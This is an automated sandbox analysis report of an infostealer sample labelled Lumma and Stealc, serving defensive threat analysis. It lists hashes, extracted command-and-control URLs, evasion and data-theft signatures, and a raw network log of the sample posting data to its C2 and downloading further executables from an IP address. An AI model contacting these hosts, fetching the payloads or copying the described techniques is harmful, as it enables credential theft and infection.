Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

37aafa95a9...1b.exe

windows7-x64

10

37aafa95a9...1b.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/12/2024, 02:28 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe

  • Size

    1.8MB

  • MD5

    f9694cb15c258cf8125cf0c317c77479

  • SHA1

    ad7ab004164e247a32fb8eb4187103a1eaf73657

  • SHA256

    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b

  • SHA512

    41504ae13f21e126508b91cdacc3d993790b7ce6001a0d58353860ad4eccb76858f553f4dd49d1960fae09a777160493932c0bb9acebd3bad3aae6e0dc2e2351

  • SSDEEP

    49152:QfiXfPvlOJ1kUi0pzJZ8AMSdBtxh5WBAB6lce:Q+MJ5Zc4vWGB6+e

Score
10/10
lummastealcstokdiscoveryevasionspywarestealertrojan

Malware Config

Extracted

Family

lumma

C2

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

https://tacitglibbr.biz/api

Extracted

Family

stealc

Botnet

stok

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

lumma

C2

https://tacitglibbr.biz/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    "C:\Users\Admin\AppData\Local\Temp\37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3592
    • C:\Users\Admin\AppData\Local\Temp\VCZ8688OCVGO7B2WAB63HZC.exe
      "C:\Users\Admin\AppData\Local\Temp\VCZ8688OCVGO7B2WAB63HZC.exe"
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Windows security modification
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1388
    • C:\Users\Admin\AppData\Local\Temp\SS89BMF02QO1Q18NHMAZ6NO.exe
      "C:\Users\Admin\AppData\Local\Temp\SS89BMF02QO1Q18NHMAZ6NO.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:1428

Network

  • flag-us
    DNS
    tacitglibbr.biz
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    8.8.8.8:53
    Request
    tacitglibbr.biz
    IN A
    Response
    tacitglibbr.biz
    IN A
    104.21.50.161
    tacitglibbr.biz
    IN A
    172.67.164.37
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 8
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:38 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=g6qahdiggfgq53p61veuedi6eq; expires=Fri, 11-Apr-2025 20:15:17 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=536v6raf4EQTBavU5cfRyfSGvOrqEElCZerzykcMS2uhLRa76zMIniYHxpOUlcCScM2uCictjlPO1AZT2SOxjsUD7bFLtstn2OoBa3XWXVrN8kjUxg8HBONgBRN6oJfQKAk%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b1bdfacedf6-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=31756&min_rtt=29273&rtt_var=10989&sent=6&recv=7&lost=0&retrans=0&sent_bytes=3296&recv_bytes=603&delivery_rate=137464&cwnd=253&unsent_bytes=0&cid=98b692aa61781508&ts=206&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 47
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:38 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=agpgfm6dnku5v2snp2oi154j6t; expires=Fri, 11-Apr-2025 20:15:17 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3VIucDNWl1UVDAcoUEAptLoFw4%2BruEkn9NtNW6BEyEDDQutfqBlSTnUyBa6%2FXmb0aiVvvCJ8aZ7hj8Q5psCGMqkaxehofXCArfjUlbjeNl8K4t%2F%2F5CLJ%2BIyHTGj7sSuCMVI%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b1ce9bbedf6-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=31037&min_rtt=25968&rtt_var=9681&sent=9&recv=10&lost=0&retrans=0&sent_bytes=4402&recv_bytes=971&delivery_rate=137464&cwnd=255&unsent_bytes=0&cid=98b692aa61781508&ts=325&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=KAC6BZHSEC
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 13252
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:39 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=88p2pbi0r22amj4bptp6vjgl9d; expires=Fri, 11-Apr-2025 20:15:17 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DhWBaDlcAze%2BMoaNTGceCiubszmKQvJZ9bgFC1LyfnMHaClI8HCKA%2FBzkXLrJ6Ygobcq8Q8CBKtZQZsx0DROtnWgDfxc4dMIUKZ6dvKaOuJzkqGGecGCkaNiTeLlkES1Ytc%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b1e6b6dedf6-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=44897&min_rtt=25968&rtt_var=12773&sent=36&recv=32&lost=0&retrans=0&sent_bytes=24649&recv_bytes=14554&delivery_rate=609422&cwnd=257&unsent_bytes=0&cid=98b692aa61781508&ts=760&x=0"
  • flag-us
    DNS
    28.118.140.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    28.118.140.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    28.118.140.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    28.118.140.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    28.118.140.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    28.118.140.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    161.50.21.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    161.50.21.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    161.50.21.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    161.50.21.104.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
    Response
    83.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-83deploystaticakamaitechnologiescom
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=4NI1HH5PF
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 9684
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:39 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=3m8hh6fuo80i9j9rd2gv8o245p; expires=Fri, 11-Apr-2025 20:15:18 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6JZASktL8fXmekpwFWdOA6p4%2Bc8I8uA4nDQ0cnfaHQliTAwQ0j9jNpg7JadqJnJBaKFnjnXyFx2gCTxuOgOu%2FRYRFqPEFeg0YlEaoyp6n9MHGSINAbvyhBdO2b9sAIqfvmA%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b20ed3ccd4b-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=26469&min_rtt=26197&rtt_var=6014&sent=10&recv=14&lost=0&retrans=0&sent_bytes=3296&recv_bytes=10288&delivery_rate=150343&cwnd=241&unsent_bytes=0&cid=1f3227256991d634&ts=384&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=RKS51127ZVCD4K
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 18119
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:39 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=6u5fioku1j1pn2sosubs1cdn7j; expires=Fri, 11-Apr-2025 20:15:18 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R4zCWRHoRh7UyurWDB7ZD1GjWFbO2wnSb5lEb0SWcirWuJrzIJyMH1l6txhREsyM5vnh45z9yBQdxGyWcGFnDDKDMcD7qrc5IaPBnU%2FEq0SpYDANkPzRa8Y%2FPxcf3b%2Bg4ww%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b23ffef93db-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=26628&min_rtt=26331&rtt_var=5987&sent=9&recv=20&lost=0&retrans=0&sent_bytes=3297&recv_bytes=18758&delivery_rate=144829&cwnd=253&unsent_bytes=0&cid=921d4c5382ddc2e8&ts=263&x=0"
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=BJ0L5VE6PSFY
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 789403
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:41 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=enqglfhg68rdrc690c4veta7mv; expires=Fri, 11-Apr-2025 20:15:19 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ItbsHkkYYfzuun9uZrjlpC1K0YVy%2BfwAR6BUCUD%2B6uGyid4q2HLvl%2FLCL6klBhsJ5rDufDo9HU54RiPVV9AxF0c3HbKa3o93NiOvyuP0a58qqm%2FHutadvblbfq%2B1GjKd2so%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b267fa07795-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=26262&min_rtt=26089&rtt_var=5789&sent=257&recv=589&lost=0&retrans=0&sent_bytes=3295&recv_bytes=791491&delivery_rate=150682&cwnd=238&unsent_bytes=0&cid=72f9bc1a37a30787&ts=1009&x=0"
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=7EOQUU6RPN6KW1GHI6
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 1316
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:41 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=j5mhbv1fbuq0lhkaoreegdu2n9; expires=Fri, 11-Apr-2025 20:15:20 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qao48jUAcRcGmYJXZEXWyv7ECdsYsOUAUS0tSqoQ3SVVCWcmqY2OwCBm9WSA4Sv0tGthOeWyID48pbVlqzgITBBxUy8tNpjmkKfoi43vT2b%2Fnm6GeWQy1iX3oIc%2F%2BDVzYLw%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b2d8992ef58-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=27069&min_rtt=26012&rtt_var=7012&sent=6&recv=7&lost=0&retrans=0&sent_bytes=3296&recv_bytes=1929&delivery_rate=130589&cwnd=252&unsent_bytes=0&cid=1e84f8ee32ba6f62&ts=240&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=867XBWVX6RX9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 382142
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:42 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=j2v5jb4e36hs5kbi6bgs2ud0v9; expires=Fri, 11-Apr-2025 20:15:21 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmNjSjd4IeqVUMFzBSeP9xN4UNx6UX1YSXYsxUnsKHGtlY9p0NdbEtCCbKk21a6riyP2%2FTZg5mQCeUvRRZDjmwL19nISkLq%2FMMldAcCy8qnCEUPiiSMOElU9ySZLHQTUjco%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b310c31ede6-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=27021&min_rtt=26715&rtt_var=6086&sent=158&recv=289&lost=0&retrans=0&sent_bytes=3296&recv_bytes=383447&delivery_rate=142556&cwnd=253&unsent_bytes=0&cid=c6fbce45fef4daae&ts=1072&x=0"
  • flag-us
    POST
    https://tacitglibbr.biz/api
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    104.21.50.161:443
    Request
    POST /api HTTP/1.1
    Connection: Keep-Alive
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Content-Length: 82
    Host: tacitglibbr.biz
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:43 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Set-Cookie: PHPSESSID=4hl85v8fj5b6e5judondql81ks; expires=Fri, 11-Apr-2025 20:15:21 GMT; Max-Age=9999999; path=/
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    cf-cache-status: DYNAMIC
    vary: accept-encoding
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R44%2Bn4ZS2Jd6PJEAt0Kv45g3m8PwiW0Xvipj7xX1qedvvX%2FEOtCbG%2Fp28EpP4vY9sWWEPwc%2FvVGtKaJ%2F2g%2FU08DwYCBd79rRHW1WmIwUR0TRNpf92MYSSf%2BTNMybhdoi6kg%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8f337b38180ad1f9-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=26539&min_rtt=26255&rtt_var=5916&sent=6&recv=7&lost=0&retrans=0&sent_bytes=3295&recv_bytes=678&delivery_rate=144648&cwnd=253&unsent_bytes=0&cid=a04a008e78ce606d&ts=186&x=0"
  • flag-ru
    GET
    http://185.215.113.16/off/def.exe
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    185.215.113.16:80
    Request
    GET /off/def.exe HTTP/1.1
    Connection: Keep-Alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Host: 185.215.113.16
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Tue, 17 Dec 2024 02:28:42 GMT
    Content-Type: application/octet-stream
    Content-Length: 1716224
    Last-Modified: Tue, 17 Dec 2024 01:28:33 GMT
    Connection: keep-alive
    ETag: "6760d3c1-1a3000"
    Accept-Ranges: bytes
  • flag-ru
    GET
    http://185.215.113.16/steam/random.exe
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    Remote address:
    185.215.113.16:80
    Request
    GET /steam/random.exe HTTP/1.1
    Connection: Keep-Alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
    Host: 185.215.113.16
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Tue, 17 Dec 2024 02:28:44 GMT
    Content-Type: application/octet-stream
    Content-Length: 2871296
    Last-Modified: Tue, 17 Dec 2024 01:30:10 GMT
    Connection: keep-alive
    ETag: "6760d422-2bd000"
    Accept-Ranges: bytes
  • flag-us
    DNS
    16.113.215.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    16.113.215.185.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    209.205.72.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    209.205.72.20.in-addr.arpa
    IN PTR
    Response
  • flag-ru
    GET
    http://185.215.113.206/
    SS89BMF02QO1Q18NHMAZ6NO.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:49 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/c4becf79229cb002.php
    SS89BMF02QO1Q18NHMAZ6NO.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /c4becf79229cb002.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ
    Host: 185.215.113.206
    Content-Length: 210
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Dec 2024 02:28:49 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 8
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    206.113.215.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.113.215.185.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    13.86.106.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.86.106.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    15.164.165.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    15.164.165.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    107.12.20.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    107.12.20.2.in-addr.arpa
    IN PTR
    Response
    107.12.20.2.in-addr.arpa
    IN PTR
    a2-20-12-107deploystaticakamaitechnologiescom
  • flag-us
    DNS
    180.129.81.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    180.129.81.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    43.229.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    43.229.111.52.in-addr.arpa
    IN PTR
    Response
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    16.1kB
     27.4kB
     35
    39

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    11.0kB
     5.0kB
     17
    14

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
    19.7kB
     5.0kB
     23
    13

    HTTP Request

    POST https://tacitglibbr.biz/api

    HTTP Response

    200
  • 104.21.50.161:443
    https://tacitglibbr.biz/api
    tls, http
    37aafa95a96bdc9144593c820466f3f063cd0e9fb3c6d2bcfab4c1bf0b61e51b.exe
